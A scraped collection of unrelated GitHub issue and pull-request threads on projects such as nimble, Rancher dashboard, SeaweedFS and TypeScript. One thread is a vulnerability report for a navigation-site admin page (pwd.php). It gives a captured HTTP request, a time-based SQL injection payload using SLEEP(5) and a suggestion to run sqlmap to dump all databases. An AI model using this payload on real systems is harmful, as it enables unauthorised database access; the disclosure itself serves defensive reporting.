The rest endpoints: (yes / no) no
The admin cli options: (yes / no) no
Anything that affects deployment: (yes / no / don't know) no

Documentation
Check the box below or label this PR directly (if you have committer privilege).
Need to update docs?

[ ] doc-required
(If you need help on updating docs, create a doc issue)

[x] no-need-doc
(Please explain why)

[ ] doc
(If this PR contains doc changes)

/pulsarbot rerun-failure-checks


propose adding nDim argument to nimArray

currently nimArray has this awkwardness:
x <- nimArray(dim = c(3, 4)) ##works
d <- c(3, 4)
x <- nimArray(dim = d) ## doesn't work

The origin of this situation is that before core-R features, we didn't have something like c(), so we handled it for specific arguments such as nimArray's dim by special processing.  The difficulty with sayind dim = d is that we don't know the length of d until run-time (we cannot determine at compile what seems obvious here, that d has length 2, because it could have come from some complicated expression or conditional processing).  Yet the length of d determines the dimensionality of x, which we must determine at compile time.
I propose adding an nDim argument to nimArray to support the following:
x <- nimArray(dim = d, nDim = 2) ## use d[1:2]

An alternative would be:
x <- nimArray(dim = d[1:2])

but that can be more awkward if d is a longer expression

seems reasonable to me
On Wed, Mar 22, 2017 at 12:44 PM, perrydv<EMAIL_ADDRESS>wrote:

currently nimArray has this awkwardness:
x <- nimArray(dim = c(3, 4)) ##works
d <- c(3, 4)
x <- nimArray(dim = d) ## doesn't work
The origin of this situation is that before core-R features, we didn't
have something like c(), so we handled it for specific arguments such as
nimArray's dim by special processing. The difficulty with sayind dim = d is
that we don't know the length of d until run-time (we cannot determine at
compile what seems obvious here, that d has length 2, because it could have
come from some complicated expression or conditional processing). Yet the
length of d determines the dimensionality of x, which we must determine at
compile time.
I propose adding an nDim argument to nimArray to support the following:
x <- nimArray(dim = d, nDim = 2) ## use d[1:2]
An alternative would be:
x <- nimArray(dim = d[1:2])
but that can be more awkward if d is a longer expression
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/nimble-dev/nimble/issues/277, or mute the thread
https://github.com/notifications/unsubscribe-auth/ACYr3q10AQMxuokynXA8yNL_RxBSYT9nks5roXoZgaJpZM4Mlue4
.

this was done for 0.6-4


Perhaps raw numbers are invalid?

The changes to add SITE_IMPROVE env vars appear not to be syncing in Argo, and the current main suspect is the raw number, so wrap it in speechmarks.

Not sure why chart-testing doesn't catch it pre-merge though 🤔

Thanks both! I can see it's working now in Argo. :)


Fix edit of PSA description

Summary
Fixes https://github.com/rancher/dashboard/issues/8378

Occurred changes and/or fixed issues

Use SteveDescriptionModel as base of PodSecurityAdmissionTemplate model
Provide a generic mechanism for model save to tweak the object that's saved
In SteveDescriptionModel ensure the object that's saved has the correct description

Save worked for other users of class ... as they saved via norman rather than steve

Tweaks

Fixed width of PSA table name / description columns

Technical notes summary
Supersedes https://github.com/rancher/dashboard/pull/8363
Areas or cases that should be tested

Create / Edit PSA's

Areas which could experience regressions

Create / Edit Global Roles and Cluster Roles

Backported PR https://github.com/rancher/dashboard/pull/8379


Error creating an event driven task

I am trying to programmatically create a scheduled task that is based on a network connection event.
I am working from a XML export from a working task.  Everything seems to be OK except I get variants on the following error when I call the RegisterTaskDefinitionMethod:
(11,365):Subscription:*[System[Provider[@Name='Microsoft-Windows-NetworkProfile'] and EventID=10000]]
Data = {System.Collections.ListDictionaryInternal}
HResult = -2147009896
I get variants on this error regardless of how I format the XML string.  I can try the > and < format.  I can try the actual symbols > <, etc.  But basically the same error.
The query string is directly from a working task export to XML.  If I change my program to update the XML I exported and go through the Microsoft.Win32.TaskScheduler namespace and simply import the updated XML, the task is created successfully.
Originally posted: 2016-08-18T07:01:02

Here's a line from my test code that works:
eTrigger.Subscription = "<QueryList><Query Id=\"0\" Path=\"Security\"><Select Path=\"Security\">*[System[Provider[@Name='VSSAudit'] and EventID=25]]</Select></Query></QueryList>";

Hopefully that will help you see how to escape the string to get it entered properly.
Originally posted: 2016-08-19T10:55:48


Build pipeline

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.:x: marcoscyber sign nowYou have signed the CLA already but the status is still pending? Let us recheck it.


No support for custom columnn

Per the documentation, we can write a custom component to colObj.header and that component will render. However, when I do something like :
const ColumnHeader = (props) => {
  console.log(props)
  return <div
    // TODO: idk what is supposed to go here
    onClick={(e) => {}}
  >
    {/* TODO: idk what goes here... */}
    {props.header}
  </div>
}

const columns = [
  { key: "ID", header: <ColumnHeader text="ID" />, scope: "col"},
  { key: "FirstName", header: <ColumnHeader text="First Name" />, scope: "col"},
  { key: "LastName", header: <ColumnHeader text="Last Name" />, scope: "col"},
  { key: "Email", header: <ColumnHeader text="Email" />, scope: "col" }
];

and give that columns to the <Table>, nothing renders for the columns.
Why is this happening?

@MikeWarren2014 yea the issue here is that your columns array should look like this:
const columns = [
  {key: "ID", header: (onClick) => <ColumnHeader text="ID" onClick={onClick}/>, scope: "col"},
  ...
]

sorry for the delay in the response, the world's kind of gone to, well, ya know

@MikeWarren2014 if you look at the updated docs, you should be able to see how to do CustomHeaders. This feature is now supported :)


npm ERR! missing script: migrate

npm ERR! missing script: migrate

I think this is the result of the wrong clone command, so you ended up with GitHunt-React instead of GitHunt-API. The script is here: https://github.com/apollostack/GitHunt-API/blob/master/package.json#L11
Sorry for the mistake in the getting started directions!


Method getMimeType() returns wrong format on SVG files

Laravel Version: 7.12.0
PHP Version: 7.4.6
Database Driver & Version: -

Description:
When i upload image/svg+xml and invoke getMimeType() it returns image/svg instead. I tried to read $_FILES['file_name']['type'] and it actually returns as expected image/svg+xml but getMimeType() is wrong.
Steps To Reproduce:
Upload image/svg+xml file and print it's mime type - it's wrong.

We use symfony/mime under the hood. Please open up an issue on their repo.


BlockMeter conflicting with something else and causing crash on startup

MC 1.21.1
Fabric 0.16.9
Fabric 0.110.0
Blockmeter 1.14
Hi, I had originally sent this to the Aether devs thinking it might be their mod, since it first happened when I added their mod to my custom modpack, but then they looked and said it actually seems to be Blockmeter causing it.
Client Log
https://mclo.gs/lCffeXG
Crash Report (if applicable)
https://mclo.gs/8EjOGmW

can you try https://github.com/ModProg/BlockMeter/actions/runs/12259178374/artifacts/2300515051 you need to extract it

I just tried that, and I'm still getting a crash.
Crash Report
https://mclo.gs/JOnRa65
Latest.log
https://mclo.gs/dF1te4q

oh sorry I had overlooked that you are on 1.21.1

Yup, appears to be fixed now. Thanks!


Feature: Role management limited to site

Have a situation where it would be beneficial to have permissions scoped to a site.  If there is support for this I would be happy to make the code contribution.
Basic would be you would have a global admin, and then all of the other roles would be able to be limited to specific sites.   Someone would be able to be the admin of just one site but would have no knowledge of the others.
May have missed this when i was source diving, so if it already exists let me know

Hi @Austio
Please do ti!
Actually it doesn't exist, only the administrator of main site can create sub sites, create roles, etc..


Ability to place coverage pages in sub pages.

Is your feature request related to a problem? Please describe.
Just for keeping things tidy on the Mkdocs Nav bar the current way where the links are all in a row going down the page without a way to organize them makes it harder for users to find the correct places to look for the documentation/coverage reports
Describe the solution you'd like
A way to store the docs under a collapsible folder, this could be per coverage file or a global plug-in wide setting, an example is below of what would be amazing :)
Describe alternatives you've considered
Ive attempted to make some changes to the code to allow for this but lack the knowledge  of MKdocs and what it requires to make the adequate changes
Additional context

Im sorry if there is a way to do this and i've not found it
i've attempted moving the report dir to sub folders but that isn't registered as an option in the menu/navbar

I'm not sure to follow. You have multiple Python packages and therefore multiple HTML coverage reports that you want to integrate into a single site?

Yeap, i'm using a single mkdocs instance(site) for all my html coverage reports and other application documentation over multiple Go Projects.
I am actually also using this to host other html reports in my documentation..
I did find yesterday with some tinkering that to add things to a folder in the nav you just need to return the page name with a path attached like below.
            File(
                "test/"+page_name,
                str(tempfile.parent).removesuffix('/test'),
                config["site_dir"],
                config["use_directory_urls"],
            ),

I see, thanks for the explanation. Well, I initially didn't plan to support adding multiple coverage reports, but that would be a good feature :slightly_smiling_face: If you want to send a PR, I will review it :slightly_smiling_face: Otherwise I'll eventually get to it, but I cannot say when!

Unfortunately, I am not familiar with the development of MkDocs plugins and am currently lacking the time to commit to digging into it. Otherwise I'd love to help out with this feature because I would greatly appreciate the possibility to add multiple coverage reports. Many thanks for your great work around MkDocs API docs @pawamoy!

Definitely a good feature to have to support monorepos

I recently updated the code to support putting the coverage report in a sub page. It shouldn't be hard now to update it again to support multiple reports. Would you like to take a stab at it @dmrauch? :slightly_smiling_face:


Mac: Clicking the up/down/left/right button on sim making screen discolor

Describe the bug
Mac: Clicking the up/down/left/right button on sim making screen discolor
Steps to reproduce the behavior
1.Navigate to https://arcade.makecode.com/beta#
2.Chase the Pizza------>Start Tutorial
3.Press up/down/left/right button by keyboard
4.Click the up/down/left/right button on sim
Actual behavior
Clicking the up/down/left/right button on sim making screen discolor

Additional context
1.OS: Mac
2.arcade version: 1.3.17
3.Microsoft MakeCode version: 6.6.16

This is fixed.


Key error in at fn_inv = inv_mapping[fn] in construct_ray_warps function

I'm trying to run this codebase with the 360_v2 dataset provided. I am using one of the scenes from this data, and trying to train the model using train_360.sh script.
What might be the issue here?
A slightly more detailed error log:
File "/home/ubuntu/work/video_to_3d/multinerf/train.py", line 67, in main     setup = train_utils.setup_model(config, key, dataset=dataset)   File "/home/ubuntu/work/video_to_3d/multinerf/internal/train_utils.py", line 403, in setup_model     model, variables = models.construct_model(rng, dummy_rays, config)   File "/home/ubuntu/work/video_to_3d/multinerf/internal/models.py", line 331, in construct_model     init_variables = model.init(   File "/home/ubuntu/anaconda3/envs/multinerf/lib/python3.9/contextlib.py", line 79, in inner     return func(*args, **kwds)   File "/home/ubuntu/work/video_to_3d/multinerf/internal/models.py", line 124, in __call__     _, s_to_t = coord.construct_ray_warps(self.raydist_fn, rays.near, rays.far)   File "/home/ubuntu/work/video_to_3d/multinerf/internal/coord.py", line 94, in construct_ray_warps     fn_inv = inv_mapping[fn] KeyError: <function reciprocal at 0x7fd224ed4550>

Hi, sorry about that, and thanks for reporting this. I just pushed a change that should fix this, please sync and let me know if you continue having trouble.

Hi, sorry about that, and thanks for reporting this. I just pushed a change that should fix this, please sync and let me know if you continue having trouble.

I met the same problem, and your latest push works now!
Thanks!

It works now, thank you!


Add uarray backend support for scipy.linalg

The uarray support for scipy.linalg is implemented in https://github.com/scipy/scipy/pull/15610
This PR aims to add cupy backend support for scipy.linalg

I think the PR is ready for 1st review.

/test mini

The tests fail because convolution_matrix was introduced in scipy 1.5.0. See https://github.com/scipy/scipy/pull/12135

/test mini

Hi @toslunar, all. This quick merge surprised me a little, I thought that would wait till after SciPy changes were merged. The scipy.linalg PR and the scope and usage of Uarray in SciPy (and scikit-learn / scikit-image) are still under discussion. I will try to write a larger summary asap.
This code does look good and is nicely concise, and doesn't break anywhere. However, it's very well possible that changes need to be made. We don't want to be in a position where we can't make those changes anymore because the CuPy backend is already merged. So I just want to check: do you want to keep these and make whatever matching changes are needed later, or do you want to revert this now and keep an open PR around?
Also for the record: these changes, and corresponding Colab notebook that @Smit-create posted in one of his other PRs, are super useful to get a better sense for how everything fits together and easily play with CuPy + SciPy (+ scikits). That and the quick reviews here are much appreciated!

Hi @rgommers.
I should have made it clear that the feature is experimental.  I'm thinking of adding the following comment to cupyx/scipy/linalg/__init__.py so that SciPy can discuss its implementation without worrying about CuPy.
+# uarray backend support (NEP 31)
+# The uarray feature for scipy.linalg is experimental.
+# The interface can change in the future.
 from cupyx.scipy.linalg._uarray import __ua_convert__  # NOQA
 from cupyx.scipy.linalg._uarray import __ua_domain__  # NOQA
 from cupyx.scipy.linalg._uarray import __ua_function__  # NOQA

I'd like to keep the implementation in CuPy for a while, in order to suggest changes in CuPy-side implementation details (to resolve the postponed issue, for example).
# TODO: uncomment the following line when scipy >= 1.5.0 is supported in tests
# @_uarray.implements('convolution_matrix')

We usually merge this kind of change after SciPy supports the corresponding feature. With that said, considering this PR itself is harmless and does not break any existing things, I think keeping this PR merged is acceptable. As this PR is only in the master (v11) branch and will not be backported to the stable v10 series, we have time to apply any changes or revert until the time of shipping v11 release-candidate, if needed.


feat: users should be able to tag bucket (#104)

Summary
Fixes https://github.com/lacework/terraform-aws-agentless-scanning/issues/104 by adding a new optional variable bucket_tags.
Also inadvertently fixes some terraform formatting.
How did you test this change?

Backwards compatibility: I tested my version of the module with my existing configuration, and saw no changes or errors in the bucket resource.
Feature validity: I then added an input to my configuration and the plan showed a new tag would be added to the bucket resource.
Issue

https://github.com/lacework/terraform-aws-agentless-scanning/issues/104

Thanks @spilliams! Do you mind running terraform-docs markdown . --hide-empty in the root to create the documentation for the new variable?

Sure thing @theopolis . I ran that and copied the results into the README.md. Looks like it made a few more changes than just mine, but I think that's ok: there were other changes to variables and main since the last update to the readme.

Make it so


There is an SQL injection vulnerability in the backend encryption group management of the 60 navigation page

There is a code statement in code pwd.php that directly concatenates the database

Accessing the directory after normal login to the page
/admin/pwd.php
Create a new encryption first, as the concatenation statement is modifying the encryption group

After completion, click on edit

Capture this data packet when clicking on modify

The data packet is like this, with the injection point at ID, throw it onto the sqlmap and run it
`POST /60/admin/pwd.php?set=edit_submit&id=1* HTTP/1.1
Host: <IP_ADDRESS>
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/<IP_ADDRESS> Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 43
Origin: http://<IP_ADDRESS>
Connection: close
Referer: http://<IP_ADDRESS>/60/admin/pwd.php?set=edit&id=1
Cookie: admin_token=d51ebJtKSdIsUZwzkIebniRKGyn9kcZCOcGZWcIb1A0stHL7tXHH4DXQXgX4PXSAgucVZ991e9eoCg4iY8M34HGk1A; gpadminpassport=cm9vdHw3ZDIyOGY5N2I3ZWI3YTI5ZGM2ZmI4MzE1NDUxM2E0Nw==; csrftoken=SYXOJTVQ8rjRO3yc71xrm0fF1OA7ctHU; SID_1=e583919; USER_NAME_COOKIE=admin
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="107", "Chromium";v="107", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0
pwd_name=admin&pwd_key=123456&pwd_ps=123456`
payload:
1+AND+(SELECT+7873+FROM+(SELECT(SLEEP(5)))VaEy)
Annotate all databases

收到，之前对于后台目录并没有进行处理，后续会修复


Unable to convert from Microsoft.Dynamics.Nav.Runtime.NavXmlText to Microsoft.Dynamics.Nav.Runtime.NavXmlElement

Hi,
The problem described here https://github.com/Microsoft/AL/issues/796 appeared again
The build RC1 13.0.24285.0 (SE)
In case of execution the code directly from web client - OK
In case of SOAP call error message: System.Web.Services.Protocols.SoapException: 'Unable to convert from Microsoft.Dynamics.Nav.Runtime.NavXmlText to Microsoft.Dynamics.Nav.Runtime.NavXmlElement.'

Hi! Can you please provide code to reproduce the issue?

I will assume that this problem does not reproduce anymore and close this issue. Feel free to reopen the issue and add steps to reproduce the problem on the latest build.


[filer] DATA RACE getLocations

https://github.com/seaweedfs/seaweedfs/issues/3507
==================
WARNING: DATA RACE
Read at 0x00c0005f2db8 by goroutine 5275902:
  github.com/seaweedfs/seaweedfs/weed/wdclient.(*vidMap).getLocations()
      /go/src/github.com/seaweedfs/seaweedfs/weed/wdclient/vid_map.go:148 +0xbb
  github.com/seaweedfs/seaweedfs/weed/wdclient.(*vidMap).GetLocations()
      /go/src/github.com/seaweedfs/seaweedfs/weed/wdclient/vid_map.go:132 +0x38
  github.com/seaweedfs/seaweedfs/weed/wdclient.(*vidMap).LookupVolumeServerUrl()
      /go/src/github.com/seaweedfs/seaweedfs/weed/wdclient/vid_map.go:79 +0x92
  github.com/seaweedfs/seaweedfs/weed/wdclient.(*vidMap).LookupFileId()
      /go/src/github.com/seaweedfs/seaweedfs/weed/wdclient/vid_map.go:107 +0x15a
  github.com/seaweedfs/seaweedfs/weed/wdclient.(*MasterClient).LookupFileIdWithFallback()
      /go/src/github.com/seaweedfs/seaweedfs/weed/wdclient/masterclient.go:60 +0x84
  github.com/seaweedfs/seaweedfs/weed/wdclient.(*MasterClient).LookupFileIdWithFallback-fm()
      <autogenerated>:1 +0x59
  github.com/seaweedfs/seaweedfs/weed/filer.StreamContentWithThrottler()
      /go/src/github.com/seaweedfs/seaweedfs/weed/filer/stream.go:85 +0xdcf
  github.com/seaweedfs/seaweedfs/weed/server.(*FilerServer).GetOrHeadHandler.func1()
      /go/src/github.com/seaweedfs/seaweedfs/weed/server/filer_server_handlers_read.go:246 +0x80c
  github.com/seaweedfs/seaweedfs/weed/server.processRangeRequest()
      /go/src/github.com/seaweedfs/seaweedfs/weed/server/common.go:286 +0x3f9
  github.com/seaweedfs/seaweedfs/weed/server.(*FilerServer).GetOrHeadHandler()
      /go/src/github.com/seaweedfs/seaweedfs/weed/server/filer_server_handlers_read.go:222 +0x1f0a
  github.com/seaweedfs/seaweedfs/weed/server.(*FilerServer).filerHandler()
      /go/src/github.com/seaweedfs/seaweedfs/weed/server/filer_server_handlers.go:54 +0x947
  github.com/seaweedfs/seaweedfs/weed/server.(*FilerServer).filerHandler-fm()
      <autogenerated>:1 +0x57
  net/http.HandlerFunc.ServeHTTP()
      /usr/local/go/src/net/http/server.go:2109 +0x4d
  net/http.(*ServeMux).ServeHTTP()
      /usr/local/go/src/net/http/server.go:2487 +0xc5
  net/http.serverHandler.ServeHTTP()
      /usr/local/go/src/net/http/server.go:2947 +0x641
  net/http.(*conn).serve()
      /usr/local/go/src/net/http/server.go:1991 +0xbe4
  net/http.(*Server).Serve.func3()
      /usr/local/go/src/net/http/server.go:3102 +0x58

Previous write at 0x00c0005f2db8 by goroutine 126:
  github.com/seaweedfs/seaweedfs/weed/wdclient.(*MasterClient).resetVidMap()
      /go/src/github.com/seaweedfs/seaweedfs/weed/wdclient/masterclient.go:309 +0x1546
  github.com/seaweedfs/seaweedfs/weed/wdclient.(*MasterClient).tryConnectToMaster.func1()
      /go/src/github.com/seaweedfs/seaweedfs/weed/wdclient/masterclient.go:216 +0x11f5
  github.com/seaweedfs/seaweedfs/weed/pb.WithMasterClient.func1()
      /go/src/github.com/seaweedfs/seaweedfs/weed/pb/grpc_client_server.go:209 +0x88
  github.com/seaweedfs/seaweedfs/weed/pb.WithGrpcClient()
      /go/src/github.com/seaweedfs/seaweedfs/weed/pb/grpc_client_server.go:149 +0x248
  github.com/seaweedfs/seaweedfs/weed/pb.WithMasterClient()
      /go/src/github.com/seaweedfs/seaweedfs/weed/pb/grpc_client_server.go:207 +0xd1
  github.com/seaweedfs/seaweedfs/weed/wdclient.(*MasterClient).tryConnectToMaster()
      /go/src/github.com/seaweedfs/seaweedfs/weed/wdclient/masterclient.go:173 +0x27e
  github.com/seaweedfs/seaweedfs/weed/wdclient.(*MasterClient).tryAllMasters()
      /go/src/github.com/seaweedfs/seaweedfs/weed/wdclient/masterclient.go:162 +0xe4
  github.com/seaweedfs/seaweedfs/weed/wdclient.(*MasterClient).KeepConnectedToMaster()
      /go/src/github.com/seaweedfs/seaweedfs/weed/wdclient/masterclient.go:128 +0x129
  github.com/seaweedfs/seaweedfs/weed/filer.(*Filer).KeepMasterClientConnected()
      /go/src/github.com/seaweedfs/seaweedfs/weed/filer/filer.go:146 +0x45
  github.com/seaweedfs/seaweedfs/weed/server.NewFilerServer.func4()
      /go/src/github.com/seaweedfs/seaweedfs/weed/server/filer_server.go:131 +0x39

Goroutine 5275902 (running) created at:
  net/http.(*Server).Serve()
      /usr/local/go/src/net/http/server.go:3102 +0x837
  github.com/seaweedfs/seaweedfs/weed/command.(*FilerOptions).startFiler.func3()
      /go/src/github.com/seaweedfs/seaweedfs/weed/command/filer.go:308 +0x1b1

Goroutine 126 (running) created at:
  github.com/seaweedfs/seaweedfs/weed/server.NewFilerServer()
      /go/src/github.com/seaweedfs/seaweedfs/weed/server/filer_server.go:131 +0xee4
  github.com/seaweedfs/seaweedfs/weed/command.(*FilerOptions).startFiler()
      /go/src/github.com/seaweedfs/seaweedfs/weed/command/filer.go:227 +0xcf7
  github.com/seaweedfs/seaweedfs/weed/command.runFiler()
      /go/src/github.com/seaweedfs/seaweedfs/weed/command/filer.go:203 +0x892
  main.main()
      /go/src/github.com/seaweedfs/seaweedfs/weed/weed.go:81 +0x943
==================

errors:

@shichanglin5  hello i need your help
func (mc *MasterClient) resetVidMap() {
	tail := &vidMap{
		vid2Locations:   mc.vid2Locations,
		ecVid2Locations: mc.ecVid2Locations,
		DataCenter:      mc.DataCenter,
		cache:           mc.cache,
	}
	mc.vidMap = newVidMap(mc.DataCenter)
	mc.vidMap.cache = tail

	for i := 0; i < mc.vidMapCacheSize && tail.cache != nil; i++ {
		if i == mc.vidMapCacheSize-1 {
			tail.cache = nil
		} else {
			tail = tail.cache
		}
	}
}

@chrislusf Hey, I need your attention here.
Since this piece of code is difficult to understand.
Do you have any ideas how to win data race?

This code is always executed by a single goroutine, so it doesn't really matter @kmlebedev

This code is always executed by a single goroutine, so it doesn't really matter

But this is not so, and there is confirmation of this with messages in the log WARNING: DATA RACE
It explicitly states which two goroutines are in the race.
Also, when changing the leader in the logs, you can see error messages no free volumes left - this means that the cache did not work as expected.

Not that case, this cache is only for read requests. When the leader changes, it can guarantee that read requests can still be executed successfully, but for write requests (uploads), write requests may fail before the topology is fully filled, this is not due to a data race cache invalidation @kmlebedev

However, something needs to be done about it.

Yes, data races can be avoided by adding a read-write lock

Yes, data races can be avoided by adding a read-write lock

I know, but there is a chance to get a deadlock if there is no understanding of this piece of code

Not that case, this cache is only for read requests. When the leader changes, it can guarantee that read requests can still be executed successfully, but for write requests (uploads), write requests may fail before the topology is fully filled, this is not due to a data race cache invalidation @kmlebedev

@shichanglin5 Added a screenshot with errors for read requests

I'll fix it

Not that case, this cache is only for read requests. When the leader changes, it can guarantee that read requests can still be executed successfully, but for write requests (uploads), write requests may fail before the topology is fully filled, this is not due to a data race cache invalidation @kmlebedev

@shichanglin5 Added a screenshot with errors for read requests

I fixed a cache invalidation issue due to data race #3606

I fixed a cache invalidation issue due to data race #3606

@shichanglin5 Many thanks!


Map Vault crashing on illegal characters

https://github.com/FAForever/downlords-faf-client/pull/814 As nobody likes my PR we should at least avoid the map vault crashing on illeagal characters. We need to at least something. Just tell me what

duplicate


Add CentOS to build github action

@ryannowarm fluent-bit part has been fixed, now there are no build errors


Fix #3 The version is not compatible with the SpringFox 3.x version

#3 The version is not compatible with the SpringFox 3.x version

Would this patch be accepted ?


Added support for slots

I have added support for slots as it wasn't working for me

Already done in 1.0.5

:+1:


AtexitIntegration with custom callback still logs to stderr with LoggingIntegration

How do you use Sentry?
Sentry Saas (sentry.io)
Version
1.5.9
Steps to Reproduce
debug=True,
default_integrations=False,
integrations=[
    AtexitIntegration(AuxiliaryFunctions.atexit_callback()),
    LoggingIntegration(),
],

atexit_callback() logs Test to stderr
Expected Result
no stderr logging
Actual Result
stderr logs
Test [sentry] DEBUG: Setting up integrations (with default = False)
 [sentry] DEBUG: Setting up previously not enabled integration atexit
 [sentry] DEBUG: Setting up previously not enabled integration logging
 [sentry] DEBUG: Enabling integration atexit
 [sentry] DEBUG: Enabling integration logging
 [sentry] DEBUG: atexit: got shutdown signal
 [sentry] DEBUG: atexit: shutting down client
 [sentry] DEBUG: Flushing HTTP transport
 [sentry] DEBUG: Sending event, type:null level:error event_id:11765d83137d4dc0a62ae3b38ebe5b3d project:7 host:...
 [sentry] DEBUG: background worker got flush request
 [sentry] DEBUG: 2 event(s) pending on flush
Sentry is attempting to send 2 pending error messages
Waiting up to 2 seconds
Press Ctrl-C to quit
 [sentry] DEBUG: background worker flushed
 [sentry] DEBUG: Killing HTTP transport
 [sentry] DEBUG: background worker got kill request
 [sentry] DEBUG: Killing HTTP transport

I think you also have to disable the default integrations (default_integrations=False)


Debug Failure. False expression

Trying to do a composite build modeled after microsoft/typescript but generating AMD modules fails:
Error: Debug Failure. False expression.
    at mergeSymbol (H:\code\ca0v\speech-lab\node_modules\typescript\lib\tsc.js:26088:26)
    at H:\code\ca0v\speech-lab\node_modules\typescript\lib\tsc.js:26187:47
    at Map.forEach (<anonymous>)
    at mergeSymbolTable (H:\code\ca0v\speech-lab\node_modules\typescript\lib\tsc.js:26185:20)
    at initializeTypeChecker (H:\code\ca0v\speech-lab\node_modules\typescript\lib\tsc.js:49309:21)
    at Object.createTypeChecker (H:\code\ca0v\speech-lab\node_modules\typescript\lib\tsc.js:25950:9)
    at Object.getTypeChecker (H:\code\ca0v\speech-lab\node_modules\typescript\lib\tsc.js:72860:79)
    at getReferencedFiles (H:\code\ca0v\speech-lab\node_modules\typescript\lib\tsc.js:74290:43)
    at Object.create (H:\code\ca0v\speech-lab\node_modules\typescript\lib\tsc.js:74329:41)
    at createBuilderProgramState (H:\code\ca0v\speech-lab\node_modules\typescript\lib\tsc.js:74572:37)

You can find a link to the project on https://stackoverflow.com/questions/55348498/problems-building-with-typescript-transpiler-tsc-using-the-build-flag, but basically if you set the module to "amd" it fails to transpiler (works fine when outFile -> outDir).

@sandersn A symbol table bug appears!

Repro steps:
> git clone git@github.com:ca0v/speech-lab
> cd speech-lab
> npm install
> cd tsc
> tsc -b

Looks like the program has duplicates in its list of source files.

Adding asserts to program.ts:addFileToFilesByName moves this error a lot closer to its origin:
function addFileToFilesByName(file: SourceFile | undefined, path: Path, redirectedPath: Path | undefined) {
    Debug.assert(!filesByName.has(path), "duplicate path");
    if (redirectedPath) {
	Debug.assert(!filesByName.has(redirectedPath), "duplicate redirected path");
	filesByName.set(redirectedPath, file);
	filesByName.set(path, file || false);
    }
    else {
	filesByName.set(path, file);
    }
}

Had encountered this while working on  #29262 but when it got closed in favor of #30288 this issue was missed. f2862b2 handled this then but need to figure out what would be correct approach with new PR.

Also has this error with<EMAIL_ADDRESS>although I am building project through webpack, and its only happens when in watch mode, and only at first build. After initial build everything is ok, no errors. Without watch mode everything is fine too
Error: Debug Failure. False expression.
    at Object.first (/Users/.../web/node_modules/typescript/lib/typescript.js:1087:15)
    at getArgumentArityError (/Users/.../web/node_modules/typescript/lib/typescript.js:50157:32)
    at resolveCall (/Users/.../web/node_modules/typescript/lib/typescript.js:50297:41)
    at resolveCallExpression (/Users/.../web/node_modules/typescript/lib/typescript.js:50583:20)
    at resolveSignature (/Users/.../web/node_modules/typescript/lib/typescript.js:50874:28)
    at getResolvedSignature (/Users/.../web/node_modules/typescript/lib/typescript.js:50905:26)
    at checkCallExpression (/Users/.../web/node_modules/typescript/lib/typescript.js:50992:29)
    at checkExpressionWorker (/Users/.../web/node_modules/typescript/lib/typescript.js:53047:28)
    at checkExpression (/Users/.../web/node_modules/typescript/lib/typescript.js:52969:38)
    at checkBinaryLikeExpression (/Users/.../web/node_modules/typescript/lib/typescript.js:52330:29)

Not sure how else I can help


Make I2C transactions continuous according to specification (#740)

Summary
Changes the implementation of the ehal::i2c::I2c::transaction method to match the specification. The corresponding issue is #740.
I would be thankful if someone could have a look at it, to make sure that it now actually matches the specified behaviour. My code seems works now, but I might have misunderstood something.
Checklist

[X] CHANGELOG.md for the BSP or HAL updated
[X] All new or modified code is well documented, especially public items
[X] No new warnings or clippy suggestions have been introduced - CI will deny clippy warnings by default! You may #[allow] certain lints where reasonable, but ideally justify those with a short comment.

Hi @fko-kuptec, I agree with what you said in #740. Let me check if this PR achieves that, I can potentially test with a logic analyzer some time next week.

Hi @fko-kuptec, I agree with what you said in #740. Let me check if this PR actually does achieve that, I can potentially test with a logic analyzer some time next week.

Thanke you 😊


RxJS & Angular

RxJS & Angular
https://www.learnrxjs.io/
https://rxjs-cn.github.io/learn-rxjs-operators/
https://stackblitz.com/edit/angular-ypnqdk

https://stackblitz.com/edit/ball-demo


agree and disagree options in modals

when i show modal-form to user I expect that he press any button and i execute any action
Now only one option: complete and this code executes if user press button "Agree" and if user press "Escape"
there may be a solution for this case?

Just bind a click handler to one or more of the buttons, then you will know which button was pressed.


CI: Check changelog

Closes #785
Basics

[ ] I added a line to /doc/CHANGELOG.md
[ ] The PR is rebased with current master.
[ ] Details of what you changed are in commit messages.
[ ] References to issues, e.g. close #X, are in the commit messages.
[ ] The buildserver is happy.

Checklist

[ ] I have installed and I am using pre-commit hooks
[ ] I fully described what my PR does in the documentation
(not in the PR description)
[ ] I fixed all affected documentation
[ ] I fixed the introduction tour
[ ] I wrote migrations in a way that they are compatible with already present data
[ ] I fixed all affected decisions
[ ] I added unit tests for my code
[ ] I added code comments, logging, and assertions as appropriate
[ ] I translated all strings visible to the user
[ ] I mentioned every code or binary not directly written or done by me in reuse syntax
[ ] I created left-over issues for things that are still to be done
[ ] Code is conforming to our Architecture
[ ] Code is conforming to our Guidelines
(exceptions are documented)
[ ] Code is consistent to our Design Decisions

Review

[ ] I've tested the code
[ ] I've read through the whole code
[ ] Examples are well chosen and understandable

I am sorry, but I will also push some formatting for the Jenkinsfile here.
Apparently --fix is only fixing and --format is for formating, so I added a new pre-commit hook.

Great job, thank you!

Maybe we can also remove I added a line to /doc/CHANGELOG.md now?

We could put this as sub-category of "The buildserver is happy.", together with other things to be done that are not done via pre-commit.


Is it possible not to use Alamofire?

Hi, Alamofire seems to be quite bulky for a simple networking request. I would suggest to use URLSession to reduce the binary size.
Thank you!

I agree on that. Would be really good for both users and VGS if Alamofire was removed.
Currently there's only one post request created on the APIClient that can be safely rewritten using URLSession instead.

